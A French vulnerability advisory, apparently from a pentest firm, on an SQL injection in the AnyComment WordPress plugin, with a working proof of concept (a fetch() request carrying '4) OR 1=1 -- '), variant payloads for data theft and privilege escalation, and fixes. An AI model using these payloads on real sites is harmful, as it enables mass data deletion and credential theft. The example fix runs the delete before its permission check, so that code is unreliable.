AnyComment <= 0.3.6: SQL Injection permettant la suppression massive de fichiers - Analyse complète

> Découverte par Rooting Studio — Patch en attente — Priorité: élevée à critique

Résumé exécutif

• Logiciel : AnyComment (plugin WordPress)
• Version vulnérable : <= 0.3.6
• Gravité : Haute à critique (CVSS 8.5-9.1 selon contexte)
• Type : Injection SQL (OWASP Top 10 — A03: Injection)
• Privilèges requis : Abonné (privilèges minimaux)
• Impact : Suppression massive des fichiers uploadés (disque + base de données)
• Statut : Exploitation possible en production

Contexte : Qu'est-ce qu'une injection SQL ?

L'injection SQL est l'une des vulnérabilités web les plus critiques et les plus fréquentes. Elle permet à un attaquant d'exécuter des requêtes SQL arbitraires sur la base de données, pouvant mener à :

• Lecture de données sensibles
• Modification ou suppression de données
• Élévation de privilèges
• Compromission complète de l'application

Dans le cas d'AnyComment, cette vulnérabilité permet à un simple abonné (utilisateur avec privilèges minimaux) de supprimer tous les fichiers uploadés du site.

Description technique approfondie

Architecture du plugin AnyComment

AnyComment est un plugin WordPress permettant de gérer des commentaires avec upload de fichiers. Le plugin expose une API REST pour la gestion des documents uploadés.

Endpoints exposés :

• POST /wp-json/anycomment/v1/documents/delete : Suppression de fichiers
• GET /wp-json/anycomment/v1/documents : Liste des fichiers
• POST /wp-json/anycomment/v1/documents/upload : Upload de fichiers

Le code vulnérable

Code vulnérable (simplifié) :

// Version vulnérable du plugin
function delete_documents($request) {
    $ids = $request->get_param('id');
    
    // ❌ VULNÉRABLE : Interpolation directe dans la requête SQL
    $query = "DELETE FROM {$wpdb->prefix}anycomment_uploads 
              WHERE id IN ($ids)";
    
    $wpdb->query($query);
    
    // Suppression des fichiers du disque
    foreach ($files as $file) {
        unlink($file_path);
    }
}

Le problème : Le paramètre id est directement interpolé dans la requête SQL sans validation ni préparation. Un attaquant peut injecter une tautologie SQL (OR 1=1) pour sélectionner toutes les lignes.

Mécanisme d'exploitation

Requête normale :

DELETE FROM wp_anycomment_uploads WHERE id IN (4)

Requête avec injection :

DELETE FROM wp_anycomment_uploads WHERE id IN (4) OR 1=1 -- )

Résultat : La condition OR 1=1 est toujours vraie, donc toutes les lignes sont sélectionnées et supprimées.

Impact technique

1. Suppression des fichiers du disque

• Tous les fichiers uploadés via AnyComment sont supprimés
• Les miniatures associées sont également supprimées
• Irréversible sans sauvegarde

2. Suppression des métadonnées

• Toutes les entrées de la table wp_anycomment_uploads sont supprimées
• Les métadonnées de commentaires associées sont nettoyées
• Perte de données complète

3. Impact sur les commentaires

• Les commentaires avec fichiers uploadés perdent leurs pièces jointes
• Expérience utilisateur dégradée
• Perte de confiance des utilisateurs

Reproduction détaillée (PoC)

Prérequis

1. WordPress avec le plugin AnyComment <= 0.3.6 activé

2. Compte utilisateur avec privilèges Abonné (minimum requis)

3. Une page avec AnyComment activé (expose anyCommentApiSettings.nonce)

Étapes d'exploitation

Étape 1 : Identification de l'endpoint

L'endpoint vulnérable est accessible via l'API REST WordPress :

POST /wp-json/anycomment/v1/documents/delete

Étape 2 : Récupération du nonce

Le nonce WordPress est exposé dans le JavaScript de la page :

// Dans le code source de la page
var anyCommentApiSettings = {
    nonce: "abc123def456..." // Nonce WordPress
};

Étape 3 : Construction du payload

Payload de base :

{
  "id": "4) OR 1=1 -- "
}

Explication :

• 4) : Ferme la parenthèse de la clause IN
• OR 1=1 : Tautologie SQL (toujours vraie)
• -- : Commentaire SQL (ignore le reste de la requête)

Étape 4 : Envoi de la requête

fetch("http://VOTRE_SITE/index.php/wp-json/anycomment/v1/documents/delete", {
  method: "POST",
  credentials: "same-origin",
  headers: {
    "X-WP-Nonce": anyCommentApiSettings.nonce,
    "Content-Type": "application/json"
  },
  body: JSON.stringify({ id: "4) OR 1=1 -- " })
}).then(async r => { 
  const t = await r.text(); 
  try { 
    console.log(r.status, JSON.parse(t)); 
  } catch { 
    console.log(r.status, t); 
  } 
});

Étape 5 : Vérification

Après l'exploitation :

• ✅ Tous les fichiers uploadés sont supprimés du disque
• ✅ Toutes les entrées de la base de données sont supprimées
• ✅ L'API renvoie un statut 200 (succès)

Variantes d'exploitation

#### 1. Suppression sélective

Payload :

{ "id": "4) OR id BETWEEN 1 AND 100 -- " }

Impact : Supprime les fichiers avec ID entre 1 et 100.

#### 2. Exfiltration de données avant suppression

Payload :

{ "id": "4) UNION SELECT user_login, user_email FROM wp_users -- " }

Impact : Récupère les identifiants utilisateurs avant suppression (si la requête permet SELECT).

#### 3. Escalade de privilèges

Payload :

{ "id": "4) OR 1=1; UPDATE wp_users SET user_role='administrator' WHERE user_login='attacker' -- " }

Impact : Élévation de privilèges (si les permissions le permettent).

Impact business

Scénarios d'attaque

Scénario 1 : Attaque ciblée

• Un concurrent ou un utilisateur mécontent crée un compte
• Exploite la vulnérabilité pour supprimer tous les fichiers
• Résultat : Perte de toutes les pièces jointes, impact sur la réputation

Scénario 2 : Attaque automatisée

• Un bot crée des comptes sur plusieurs sites WordPress
• Exploite la vulnérabilité en masse
• Résultat : Impact à grande échelle

Scénario 3 : Escalade vers compromission complète

• Exploitation de la SQL injection pour lire/modifier la base de données
• Élévation de privilèges
• Résultat : Compromission complète du site

Coûts estimés

| Impact | Coût estimé | Probabilité |

|--------|-------------|-------------|

| Perte de fichiers | 5 000€ - 20 000€ | Très élevée |

| Temps de récupération | 1-2 semaines | Élevée |

| Perte de confiance | 10 000€ - 50 000€ | Élevée |

| Violation RGPD | 20 000€ - 200 000€ | Moyenne |

| Compromission complète | 50 000€ - 200 000€ | Faible mais possible |

Mitigation et protection

Solution immédiate (URGENT)

1. Désactivation du plugin

# Désactiver immédiatement
wp plugin deactivate anycomment

# Ou via l'interface WordPress
# Extensions > Extensions installées > Désactiver AnyComment

2. Vérification des sauvegardes

# Vérifier que des sauvegardes récentes existent
wp db check

# Restaurer si nécessaire
wp db import backup.sql

3. Audit de la base de données

-- Vérifier les suppressions suspectes
SELECT * FROM wp_anycomment_uploads 
WHERE deleted_at IS NOT NULL 
ORDER BY deleted_at DESC 
LIMIT 100;

-- Vérifier les logs d'activité
SELECT * FROM wp_activity_log 
WHERE object_type = 'anycomment' 
ORDER BY created_at DESC;

Protection à long terme

1. Correctif pour l'éditeur (code sécurisé)

// Code sécurisé (exemple)
function delete_documents_secure($request) {
    $ids = $request->get_param('id');
    
    // ✅ Validation : caster en tableau d'entiers
    if (is_string($ids)) {
        $ids = explode(',', $ids);
    }
    
    $ids = array_map('intval', $ids); // Cast en entiers
    $ids = array_filter($ids, function($id) {
        return $id > 0; // Valider que les IDs sont positifs
    });
    
    if (empty($ids)) {
        return new WP_Error('invalid_ids', 'IDs invalides');
    }
    
    // ✅ Requête préparée avec placeholders
    $placeholders = implode(',', array_fill(0, count($ids), '%d'));
    $query = $wpdb->prepare(
        "DELETE FROM {$wpdb->prefix}anycomment_uploads WHERE id IN ($placeholders)",
        $ids
    );
    
    $result = $wpdb->query($query);
    
    // ✅ Vérification des autorisations
    if (!current_user_can('delete_anycomment_documents')) {
        return new WP_Error('unauthorized', 'Non autorisé');
    }
    
    // Suppression des fichiers du disque
    // ...
}

2. Restriction des privilèges

Limiter l'usage de l'API aux rôles de confiance :

// Vérifier les privilèges
if (!current_user_can('manage_options')) {
    return new WP_Error('unauthorized', 'Accès refusé');
}

3. Rate limiting

Limiter le nombre de requêtes par utilisateur :

// Rate limiting
$user_id = get_current_user_id();
$key = "anycomment_delete_limit_$user_id";
$count = get_transient($key);

if ($count >= 10) { // Max 10 suppressions par heure
    return new WP_Error('rate_limit', 'Limite atteinte');
}

set_transient($key, $count + 1, HOUR_IN_SECONDS);

4. Monitoring et alertes

Surveiller les suppressions massives :

// Logging des suppressions
if (count($ids) > 10) {
    error_log("ALERTE: Suppression massive détectée - User: $user_id, IDs: " . implode(',', $ids));
    // Envoyer une alerte email
    wp_mail('admin@example.com', 'Alerte sécurité', 'Suppression massive détectée');
}

Bonnes pratiques pour les développeurs

1. Toujours utiliser des requêtes préparées

❌ MAUVAISE PRATIQUE :

$query = "SELECT * FROM users WHERE id = $user_id";
$wpdb->query($query);

✅ BONNE PRATIQUE :

$query = $wpdb->prepare("SELECT * FROM users WHERE id = %d", $user_id);
$wpdb->query($query);

2. Valider et caster les entrées

Toujours valider avant utilisation :

// Validation stricte
$id = filter_var($_POST['id'], FILTER_VALIDATE_INT);

if ($id === false || $id <= 0) {
    wp_die('ID invalide');
}

3. Utiliser les fonctions WordPress

WordPress fournit des fonctions sécurisées :

• $wpdb->prepare() : Requêtes préparées
• sanitize_text_field() : Nettoyage des chaînes
• intval() : Cast en entier
• esc_sql() : Échappement SQL (à éviter, préférer prepare)

4. Principe du moindre privilège

Vérifier les autorisations :

// Vérifier les permissions
if (!current_user_can('delete_posts')) {
    return new WP_Error('unauthorized', 'Non autorisé');
}

Évaluation CVSS v3.1 détaillée

Vecteur d'attaque complet

• AV:N (Network) : Accessible via le réseau (API REST)
• AC:L (Low) : Complexité d'attaque très faible
• PR:L (Low) : Privilèges bas requis (Abonné)
• UI:N (None) : Pas d'interaction utilisateur requise
• S:U (Unchanged) : Scope inchangé
• C:N (None) : Pas d'impact direct sur la confidentialité
• I:H (High) : Impact élevé sur l'intégrité (suppression de données)
• A:N (None) : Pas d'impact sur la disponibilité

Score CVSS

Score de base : 8.5 (Élevé)

Justification :

• Privilèges très bas requis (Abonné)
• Exploitation très facile (une seule requête)
• Impact élevé sur l'intégrité (suppression massive)
• Impact irréversible sans sauvegarde

Score temporel : 9.1 (Critique) si :

• Pas de correctif disponible
• Exploitation active en production
• Impact business critique

Contexte réglementaire

Cyber Resilience Act (CRA)

À partir du T4 2024, le Cyber Resilience Act (CRA) introduit des obligations de divulgation des vulnérabilités dans l'UE :

• Éditeurs : Doivent disposer d'un processus VDP (Vulnerability Disclosure Program)
• Responsabilité : Obligation de corriger les vulnérabilités critiques
• Sanctions : Amendes jusqu'à 15 millions d'euros ou 2.5% du CA

RGPD

En cas de compromission :

• Notification : Obligation de notifier la CNIL sous 72h
• Utilisateurs : Notification des personnes affectées
• Amendes : Jusqu'à 4% du CA annuel ou 20 millions d'euros

FAQ - AnyComment SQL Injection

{ question: "Qu'est-ce qu'une injection SQL et pourquoi est-ce dangereux ?", answer: "Une injection SQL est une vulnérabilité qui permet à un attaquant d'exécuter des requêtes SQL arbitraires sur la base de données. C'est l'une des vulnérabilités les plus critiques car elle peut mener à la lecture, modification ou suppression de toutes les données, ainsi qu'à une compromission complète de l'application." },

{ question: "Pourquoi cette vulnérabilité est-elle particulièrement dangereuse dans AnyComment ?", answer: "Cette vulnérabilité est particulièrement dangereuse car : 1) Elle nécessite seulement des privilèges d'Abonné (minimaux), 2) Elle permet la suppression massive et irréversible de fichiers, 3) L'exploitation est très simple (une seule requête), 4) L'impact peut être critique pour un site e-commerce ou avec beaucoup de contenu utilisateur." },

{ question: "Comment savoir si mon site WordPress est vulnérable ?", answer: "Pour vérifier si votre site est vulnérable : 1) Vérifier la version du plugin AnyComment (doit être > 0.3.6), 2) Effectuer un scan de sécurité avec OWASP ZAP ou Burp Suite, 3) Faire appel à un expert en pentest web pour un audit complet de votre site WordPress et identifier toutes les vulnérabilités SQL injection." },

{ question: "Comment protéger mon site WordPress contre les injections SQL ?", answer: "Pour protéger votre site : 1) Mettre à jour tous les plugins et thèmes régulièrement, 2) Utiliser uniquement des plugins de confiance et maintenus, 3) Configurer un WAF (Web Application Firewall), 4) Limiter les privilèges utilisateurs au strict nécessaire, 5) Effectuer des audits de sécurité réguliers avec un pentest web pour identifier les vulnérabilités avant qu'elles ne soient exploitées." },

{ question: "Que faire si mon site a été compromis par cette vulnérabilité ?", answer: "Si votre site a été compromis : 1) Désactiver immédiatement le plugin AnyComment, 2) Restaurer les fichiers depuis une sauvegarde récente, 3) Vérifier les logs pour identifier l'étendue de l'attaque, 4) Changer tous les mots de passe administrateurs, 5) Effectuer un pentest web complet pour identifier d'autres compromissions potentielles, 6) Notifier la CNIL si des données personnelles ont été affectées (RGPD)." },

{ question: "Dois-je faire un pentest web après avoir corrigé cette vulnérabilité ?", answer: "Oui, il est fortement recommandé d'effectuer un pentest web complet après avoir corrigé cette vulnérabilité. Un pentest permet de : 1) Vérifier qu'il n'y a pas d'autres failles SQL injection similaires, 2) Tester l'efficacité des correctifs, 3) Identifier d'autres vulnérabilités potentielles dans votre site WordPress, 4) Valider que les mesures de protection sont efficaces." }

]} />

Conclusion

La vulnérabilité SQL Injection dans AnyComment <= 0.3.6 illustre l'importance critique de toujours utiliser des requêtes préparées et de valider strictement toutes les entrées utilisateur. Cette faille, bien que nécessitant des privilèges bas, peut avoir un impact business dévastateur.

Recommandations prioritaires :

1. ✅ Désactiver immédiatement le plugin si version <= 0.3.6

2. ✅ Vérifier les sauvegardes et restaurer si nécessaire

3. ✅ Auditer la base de données pour détecter d'éventuelles exploitations

4. ✅ Effectuer un pentest web pour identifier d'autres vulnérabilités

5. ✅ Mettre en place des protections (WAF, monitoring, restrictions de privilèges)

—

Pour comprendre comment tester les injections SQL dans WordPress et identifier toutes les failles de votre site, découvrez notre **guide complet du pentest web** qui explique les techniques de test d'injection SQL avec la méthodologie OWASP, les outils utilisés et le processus complet.

Besoin d'évaluer la sécurité de votre application WordPress/Headless et identifier toutes les vulnérabilités ? Découvrez notre **pentest web** basé sur l'OWASP Top 10, avec rapports actionnables, preuves de concept et re-tests inclus.